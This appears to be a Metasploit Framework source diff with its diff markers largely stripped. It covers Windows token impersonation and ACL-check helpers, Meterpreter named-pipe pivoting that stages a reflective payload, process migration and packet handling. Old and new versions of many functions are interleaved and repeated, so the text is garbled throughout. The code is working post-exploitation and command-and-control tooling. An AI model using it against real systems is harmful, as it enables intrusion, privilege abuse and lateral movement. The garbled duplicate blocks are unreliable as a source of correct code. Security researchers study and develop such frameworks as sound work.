print_error "Unexpected windows error #{error}"
return nil
end
end
# peUse is the enum "SID_NAME_USE"
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
# peUse is the enum "SID_NAME_USE"
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
return {
name: lookup['Name'],
domain: lookup['ReferencedDomainName'],
type: sid_type,
mapped: true
}
end
return {
:name => lookup['Name'],
:domain => lookup['ReferencedDomainName'],
:type => sid_type,
:mapped => true
}
end
private
private
##
# Converts a WinAPI's SID_NAME_USE enum to a symbol
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
##
def lookup_SID_NAME_USE(enum_value)
[
# SidTypeUser = 1
:user,
# SidTypeGroup,
:group,
# SidTypeDomain,
:domain,
# SidTypeAlias,
:alias,
# SidTypeWellKnownGroup,
:well_known_group,
# SidTypeDeletedAccount,
:deleted_account,
# SidTypeInvalid,
:invalid,
# SidTypeUnknown,
:unknown,
# SidTypeComputer,
:computer,
# SidTypeLabel
:integrity_label
][enum_value - 1]
end
##
# Converts a WinAPI's SID_NAME_USE enum to a symbol
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
##
def lookup_SID_NAME_USE(enum_value)
[
# SidTypeUser = 1
:user,
# SidTypeGroup,
:group,
#SidTypeDomain,
:domain,
#SidTypeAlias,
:alias,
#SidTypeWellKnownGroup,
:well_known_group,
#SidTypeDeletedAccount,
:deleted_account,
#SidTypeInvalid,
:invalid,
#SidTypeUnknown,
:unknown,
#SidTypeComputer,
:computer,
#SidTypeLabel
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token.
#
# @return [Integer] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
# Gets an impersonation token from the primary token.
#
# @return [Integer] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
if it["return"] # if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Integer] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Integer] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
# define generic mapping structure
gen_map = [0, 0, 0, 0]
gen_map = gen_map.pack("V")
buffer_size = 500
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("V")
buffer_size = 500
# get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
sd = f["pSecurityDescriptor"]
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif f['GetLastError'] == 2
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
# check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
return nil if !r["return"]
result << "R" if r["GrantedAccess"] > 0
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
return nil if !w["return"]
result << "W" if w["GrantedAccess"] > 0
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
result
end
end # Accounts
end # Windows
end # Post
result
end
end # Accounts
end # Windows
end # Post
end # Msf
@@ -96,7 +96,7 @@ class Auxiliary
}
# Always run passive modules in the background
if (mod.passive or mod.passive_action?(action))
if (mod.passive || mod.passive_action?(action || mod.default_action))
jobify = true
end
@@ -131,8 +131,8 @@ class Auxiliary
return false
end
if (jobify)
print_status("Auxiliary module running as background job")
if (jobify && mod.job_id)
print_status("Auxiliary module running as background job #{mod.job_id}.")
else
print_status("Auxiliary module execution completed")
end
+15 -11
View File
@@ -1499,6 +1499,10 @@ class Db
}
end
def find_nmap_path
Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
end
#
# Import Nmap data from a file
#
@@ -1524,11 +1528,8 @@ class Db
end
end
nmap =
Rex::FileUtils.find_full_path("nmap") ||
Rex::FileUtils.find_full_path("nmap.exe")
if (not nmap)
nmap = find_nmap_path
unless nmap
print_error("The nmap executable could not be found")
return
end
@@ -1578,9 +1579,11 @@ class Db
end
def cmd_db_nmap_help
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
nmap = find_nmap_path
unless nmap
print_error("The nmap executable could not be found")
return
end
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
@@ -1596,9 +1599,10 @@ class Db
end
def cmd_db_nmap_tabs(str, words)
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
nmap = find_nmap_path
unless nmap
return
end
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = []
@@ -145,10 +145,8 @@ class Exploit
end
# If we ran the exploit as a job, indicate such so the user doesn't
# wonder what's up.
elsif (jobify)
if mod.job_id
print_status("Exploit running as background job.")
end
elsif (jobify && mod.job_id)
print_status("Exploit running as background job #{mod.job_id}.")
# Worst case, the exploit ran but we got no session, bummer.
else
# If we didn't run a payload handler for this exploit it doesn't
@@ -339,7 +339,7 @@ module Msf
framework.jobs[job_id.to_s].send(:name=, job_name)
end
print_status "Payload Handler Started as Job #{job_id}"
print_status "Payload handler running as background job #{job_id}."
end
end
end
@@ -131,8 +131,8 @@ class Post
return false
end
if (jobify)
print_status("Post module running as background job")
if (jobify && mod.job_id)
print_status("Post module running as background job #{mod.job_id}.")
else
print_status("Post module execution completed")
end
+8
View File
@@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender'
# XXX: Add remaining ARMLE systems here
end
if arch.index(ARCH_AARCH64)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_aarch64_elf(framework, code)
end
# XXX: Add remaining AARCH64 systems here
end
if arch.index(ARCH_PPC)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_ppc_macho(framework, code)
+4 -3
View File
@@ -53,7 +53,7 @@ private
# if no session guid is given then we'll just pass the blank
# guid through. this is important for stageless payloads
if opts[:stageless] == true
if opts[:stageless] == true || opts[:null_session_guid] == true
session_guid = "\x00" * 16
else
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
@@ -67,7 +67,7 @@ private
session_guid # the Session GUID
]
session_data.pack('VVVA*A*')
session_data.pack('QVVA*A*')
end
def transport_block(opts)
@@ -78,7 +78,8 @@ private
lhost = "[#{lhost}]"
end
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
url = "#{opts[:scheme]}://#{lhost}"
url << ":#{opts[:lport]}" if opts[:lport]
url << "#{opts[:uri]}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id]
@@ -119,11 +119,16 @@ class Automotive < Extension
# TODO: Implement sending ISO-TP > 8 bytes
data = [ data ] if data.is_a? Integer
if data.size < 8
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
# Padding is handled differently after 0.0.3
if Gem::Version.new(client.api_version) < Gem::Version.new('0.0.4')
data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
end
data = array2hex(data).join
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
request_str += "&padding=#{opt['PADDING']}" if opt.key? "PADDING" # Won't hurt to use in older versions
request_str += "&fc=#{opt['FC']}" if opt.key? "FC" # Force flow control
return check_for_errors(client.send_request(request_str))
end
nil
@@ -174,6 +174,8 @@ class Console::CommandDispatcher::Automotive
data = ''
timeout = nil
maxpackets = nil
flowcontrol = false
padding = nil
cansend_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Target bus'],
@@ -181,6 +183,8 @@ class Console::CommandDispatcher::Automotive
'-R' => [ true, 'Return ID'],
'-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'],
'-t' => [ true, 'Timeout value'],
'-p' => [ true, 'Padding value, none if not specified'],
'-C' => [ false, 'Force flow control'],
'-m' => [ true, 'Max packets to receive']
)
cansend_opts.parse(args) do |opt, _idx, val|
@@ -199,6 +203,10 @@ class Console::CommandDispatcher::Automotive
data = val
when '-t'
timeout = val.to_i
when '-p'
padding = val
when '-C'
flowcontrol = true
when '-m'
maxpackets = val.to_i
end
@@ -224,6 +232,8 @@ class Console::CommandDispatcher::Automotive
opt = {}
opt['TIMEOUT'] = timeout unless timeout.nil?
opt['MAXPKTS'] = maxpackets unless maxpackets.nil?
opt['PADDING'] = padding unless padding.nil?
opt['FC'] = true unless flowcontrol == false
result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt)
if result.key? 'Packets'
result['Packets'].each do |pkt|
+43 -30
View File
@@ -12,6 +12,8 @@ require 'rex/post/meterpreter/object_aliases'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/packet_parser'
require 'rex/post/meterpreter/packet_dispatcher'
require 'rex/post/meterpreter/pivot'
require 'rex/post/meterpreter/pivot_container'
module Rex
module Post
@@ -35,6 +37,7 @@ class Client
include Rex::Post::Meterpreter::PacketDispatcher
include Rex::Post::Meterpreter::ChannelContainer
include Rex::Post::Meterpreter::PivotContainer
#
# Extension name to class hash.
@@ -85,7 +88,17 @@ class Client
# Cleans up the meterpreter instance, terminating the dispatcher thread.
#
def cleanup_meterpreter
if not self.skip_cleanup
if self.pivot_session
self.pivot_session.remove_pivot_session(self.session_guid)
end
self.pivot_sessions.keys.each do |k|
pivot = self.pivot_sessions[k]
pivot.pivoted_session.kill('Pivot closed')
pivot.pivoted_session.shutdown_passive_dispatcher
end
unless self.skip_cleanup
ext.aliases.each_value do | extension |
extension.cleanup if extension.respond_to?( 'cleanup' )
end
@@ -93,7 +106,7 @@ class Client
dispatcher_thread.kill if dispatcher_thread
if not self.skip_cleanup
unless self.skip_cleanup
core.shutdown rescue nil
end
@@ -117,11 +130,20 @@ class Client
self.conn_id = opts[:conn_id]
self.url = opts[:url]
self.ssl = opts[:ssl]
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout]
self.retry_total = opts[:retry_total]
self.retry_wait = opts[:retry_wait]
self.passive_dispatcher = opts[:passive_dispatcher]
self.pivot_session = opts[:pivot_session]
if self.pivot_session
self.expiration = self.pivot_session.expiration
self.comm_timeout = self.pivot_session.comm_timeout
self.retry_total = self.pivot_session.retry_total
self.retry_wait = self.pivot_session.retry_wait
else
self.expiration = opts[:expiration]
self.comm_timeout = opts[:comm_timeout]
self.retry_total = opts[:retry_total]
self.retry_wait = opts[:retry_wait]
self.passive_dispatcher = opts[:passive_dispatcher]
end
self.response_timeout = opts[:timeout] || self.class.default_timeout
self.send_keepalives = true
@@ -131,7 +153,7 @@ class Client
self.encode_unicode = false
self.aes_key = nil
self.session_guid = '00000000-0000-0000-0000-000000000000'
self.session_guid = opts[:session_guid] || "\x00" * 16
# The SSL certificate is being passed down as a file path
if opts[:ssl_cert]
@@ -143,32 +165,19 @@ class Client
end
end
if opts[:passive_dispatcher]
initialize_passive_dispatcher
initialize_passive_dispatcher if opts[:passive_dispatcher]
register_extension_alias('core', ClientCore.new(self))
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
initialize_inbound_handlers
initialize_channels
initialize_pivots
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
else
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
swap_sock_plain_to_ssl()
end
# Register the channel and pivot inbound packet handlers
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::Pivot)
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
monitor_socket
end
def swap_sock_plain_to_ssl
@@ -478,6 +487,10 @@ class Client
#
attr_accessor :passive_dispatcher
#
# Reference to a session to pivot through
#
attr_accessor :pivot_session
#
# Flag indicating whether to hex-encode UTF-8 file names and other strings
#
attr_accessor :encode_unicode
+51 -11
View File
@@ -3,6 +3,7 @@
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client'
require 'msf/core/payload/transport_config'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
@@ -67,6 +68,44 @@ class ClientCore < Extension
#
##
#
# create a named pipe pivot
#
def create_named_pipe_pivot(opts)
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
stage_opts = {
force_write_handle: true,
datastore: {
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
response = self.client.send_request(request)
end
#
# Get a list of loaded commands for the given extension.
#
@@ -320,7 +359,7 @@ class ClientCore < Extension
#
def set_session_guid(guid)
request = Packet.create_request('core_set_session_guid')
request.add_tlv(TLV_TYPE_SESSION_GUID, [guid.gsub(/-/, '')].pack('H*'))
request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
client.send_request(request)
@@ -338,10 +377,7 @@ class ClientCore < Extension
response = client.send_request(*args)
bytes = response.get_tlv_value(TLV_TYPE_SESSION_GUID)
parts = bytes.unpack('H*')[0]
[parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end
#
@@ -581,11 +617,11 @@ class ClientCore < Extension
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
end
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
if target_process['arch'] == ARCH_X64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
@@ -614,7 +650,7 @@ class ClientCore < Extension
# Sleep for 5 seconds to allow the full handoff, this prevents
# the original process from stealing our loadlib requests
::IO.select(nil, nil, nil, 5.0)
else
elsif client.pivot_session.nil?
# Prevent new commands from being sent while we finish migrating
client.comm_mutex.synchronize do
# Disable the socket request monitor
@@ -751,6 +787,8 @@ private
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp)
@@ -760,6 +798,8 @@ private
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
@@ -80,7 +80,6 @@ class Kiwi < Extension
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
result[:error] = 'Invalid user.'
else
STDERR.puts(output)
result[:error] = 'Unknown error.'
end
else
@@ -170,7 +170,10 @@ class Config
ret = []
res = client.send_request(req)
res.each(TLV_TYPE_PRIVILEGE) do |p|
ret << p.value
ret << {
priv: p.get_tlv_value(TLV_TYPE_PRIVILEGE_NAME),
enabled: p.get_tlv_value(TLV_TYPE_PRIVILEGE_ENABLED),
}
end
ret
end
@@ -16,8 +16,10 @@ TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_GROUP | 632
TLV_TYPE_PRIVILEGE_NAME = TLV_META_TYPE_STRING | 633
TLV_TYPE_PRIVILEGE_ENABLED = TLV_META_TYPE_BOOL | 634
##
#
# Fs
+34 -7
View File
@@ -113,6 +113,15 @@ TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
#
# Pivots
#
TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
#
# Core flags
#
@@ -120,6 +129,12 @@ LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0)
LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
#
# Sane defaults
#
GUID_SIZE = 16
NULL_GUID = "\x00" * GUID_SIZE
###
#
# Base TLV (Type-Length-Value) class
@@ -227,6 +242,11 @@ class Tlv
when TLV_TYPE_SYM_KEY; "SYM-KEY"
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
when TLV_TYPE_PIVOT_STAGE_DATA_SIZE; "PIVOT-STAGE-DATA-SIZE"
when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
#when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
@@ -624,6 +644,8 @@ class Packet < GroupTlv
attr_accessor :created_at
attr_accessor :raw
attr_accessor :session_guid
attr_accessor :encrypt_flags
attr_accessor :length
##
#
@@ -654,11 +676,10 @@ class Packet < GroupTlv
###
XOR_KEY_SIZE = 4
SESSION_GUID_SIZE = 16
ENCRYPTED_FLAGS_SIZE = 4
PACKET_LENGTH_SIZE = 4
PACKET_TYPE_SIZE = 4
PACKET_HEADER_SIZE = XOR_KEY_SIZE + SESSION_GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
PACKET_HEADER_SIZE = XOR_KEY_SIZE + GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
AES_IV_SIZE = 16
@@ -786,7 +807,7 @@ class Packet < GroupTlv
def to_r(session_guid = nil, key = nil)
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
raw = [(session_guid || '00' * SESSION_GUID_SIZE).gsub(/-/, '')].pack('H*')
raw = (session_guid || NULL_GUID).dup
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
if key && key[:key] && key[:type] == ENC_FLAG_AES256
@@ -817,6 +838,12 @@ class Packet < GroupTlv
end
end
def parse_header!
xor_key = self.raw.unpack('a4')[0]
data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
_, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
end
#
# Override the function that reads from a raw byte stream so
# that the XORing of data is included in the process prior to
@@ -824,11 +851,11 @@ class Packet < GroupTlv
# the TLV values.
#
def from_r(key=nil)
self.parse_header!
xor_key = self.raw.unpack('a4')[0]
data = xor_bytes(xor_key, self.raw)
_, self.session_guid, encrypt_flags, length, type = data.unpack('a4a16NNN')
raw = decrypt_packet(key, encrypt_flags, data[PACKET_HEADER_SIZE..-1])
super([length, type, raw].pack('NNA*'))
data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
raw = decrypt_packet(key, self.encrypt_flags, data)
super([self.length, self.type, raw].pack('NNA*'))
end
#
+70 -17
View File
@@ -137,7 +137,7 @@ module PacketDispatcher
if req.body and req.body.length > 0
packet = Packet.new(0)
packet.add_raw(req.body)
packet.from_r(self.tlv_enc_key)
packet.parse_header!
dispatch_inbound_packet(packet)
end
cli.send_response(resp)
@@ -157,13 +157,28 @@ module PacketDispatcher
#
# Sends a packet without waiting for a response.
#
def send_packet(packet, completion_routine = nil, completion_param = nil)
if (completion_routine)
add_response_waiter(packet, completion_routine, completion_param)
def send_packet(packet, opts={})
if self.pivot_session
opts[:session_guid] = self.session_guid
opts[:tlv_enc_key] = self.tlv_enc_key
return self.pivot_session.send_packet(packet, opts)
end
if opts[:completion_routine]
add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
end
session_guid = self.session_guid
tlv_enc_key = self.tlv_enc_key
# if a session guid is provided, use all the details provided
if opts[:session_guid]
session_guid = opts[:session_guid]
tlv_enc_key = opts[:tlv_enc_key]
end
bytes = 0
raw = packet.to_r(self.session_guid, self.tlv_enc_key)
raw = packet.to_r(session_guid, tlv_enc_key)
err = nil
# Short-circuit send when using a passive dispatcher
@@ -289,6 +304,24 @@ module PacketDispatcher
# Reception
#
##
def pivot_keepalive_start
return unless self.send_keepalives
self.receiver_thread = Rex::ThreadFactory.spawn("PivotKeepalive", false) do
while self.alive
begin
Rex::sleep(PING_TIME)
keepalive
rescue ::Exception => e
dlog("Exception caught in pivot keepalive: #{e.class}: #{e}", 'meterpreter', LEV_1)
dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2)
self.alive = false
break
end
end
end
end
#
# Monitors the PacketDispatcher's sock for data in its own
# thread context and parsers all inbound packets.
@@ -298,6 +331,9 @@ module PacketDispatcher
# Skip if we are using a passive dispatcher
return if self.passive_service
# redirect to pivot keepalive if we're a pivot session
return pivot_keepalive_start if self.pivot_session
self.comm_mutex = ::Mutex.new
self.waiters = []
@@ -370,7 +406,7 @@ module PacketDispatcher
backlog.each do |pkt|
begin
if ! dispatch_inbound_packet(pkt)
unless dispatch_inbound_packet(pkt)
# Keep Packets in the receive queue until a handler is registered
# for them. Packets will live in the receive queue for up to
# PACKET_TIMEOUT seconds, after which they will be dropped.
@@ -427,10 +463,9 @@ module PacketDispatcher
def receive_packet
packet = parser.recv(self.sock)
if packet
packet.from_r(self.tlv_enc_key)
if self.session_guid == '00000000-0000-0000-0000-000000000000'
parts = packet.session_guid.unpack('H*')[0]
self.session_guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
packet.parse_header!
if self.session_guid == NULL_GUID
self.session_guid = packet.session_guid.dup
end
end
packet
@@ -440,12 +475,12 @@ module PacketDispatcher
# Stop the monitor
#
def monitor_stop
if(self.receiver_thread)
if self.receiver_thread
self.receiver_thread.kill
self.receiver_thread = nil
end
if(self.dispatcher_thread)
if self.dispatcher_thread
self.dispatcher_thread.kill
self.dispatcher_thread = nil
end
@@ -461,6 +496,10 @@ module PacketDispatcher
# Adds a waiter association with the supplied request packet.
#
def add_response_waiter(request, completion_routine = nil, completion_param = nil)
if self.pivot_session
return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
end
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
self.waiters << waiter
@@ -473,6 +512,10 @@ module PacketDispatcher
# if anyone.
#
def notify_response_waiter(response)
if self.pivot_session
return self.pivot_session.notify_response_waiter(response)
end
handled = false
self.waiters.each() { |waiter|
if (waiter.waiting_for?(response))
@@ -489,7 +532,11 @@ module PacketDispatcher
# Removes a waiter from the list of waiters.
#
def remove_response_waiter(waiter)
self.waiters.delete(waiter)
if self.pivot_session
self.pivot_session.remove_response_waiter(waiter)
else
self.waiters.delete(waiter)
end
end
##
@@ -514,15 +561,21 @@ module PacketDispatcher
def dispatch_inbound_packet(packet)
handled = false
pivot_session = self.find_pivot_session(packet.session_guid)
tlv_enc_key = self.tlv_enc_key
tlv_enc_key = pivot_session.pivoted_session.tlv_enc_key if pivot_session
packet.from_r(tlv_enc_key)
# Update our last reply time
self.last_checkin = Time.now
pivot_session.pivoted_session.last_checkin = self.last_checkin if pivot_session
# If the packet is a response, try to notify any potential
# waiters
if packet.response?
if (notify_response_waiter(packet))
return true
end
if packet.response? && notify_response_waiter(packet)
return true
end
# Enumerate all of the inbound packet handlers until one handles
+163
View File
@@ -0,0 +1,163 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/inbound_packet_handler'
require 'securerandom'
module Rex
module Post
module Meterpreter
class PivotListener
attr_accessor :id
attr_accessor :session_class
attr_accessor :url
attr_accessor :stage
def initialize(session_class, url, stage)
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
self.session_class = session_class
self.url = url
self.stage = stage
end
def to_row
[self.id.unpack('H*')[0], url, stage]
end
end
class Pivot
#
# The associated meterpreter client instance
#
attr_accessor :client
attr_accessor :pivoted_session
# Class modifications to support global pivot message
# dispatching without having to register a per-instance handler
class << self
include Rex::Post::Meterpreter::InboundPacketHandler
# Class request handler for all channels that dispatches requests
# to the appropriate class instance's DIO handler
def request_handler(client, packet)
if packet.method == 'core_pivot_session_new'
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
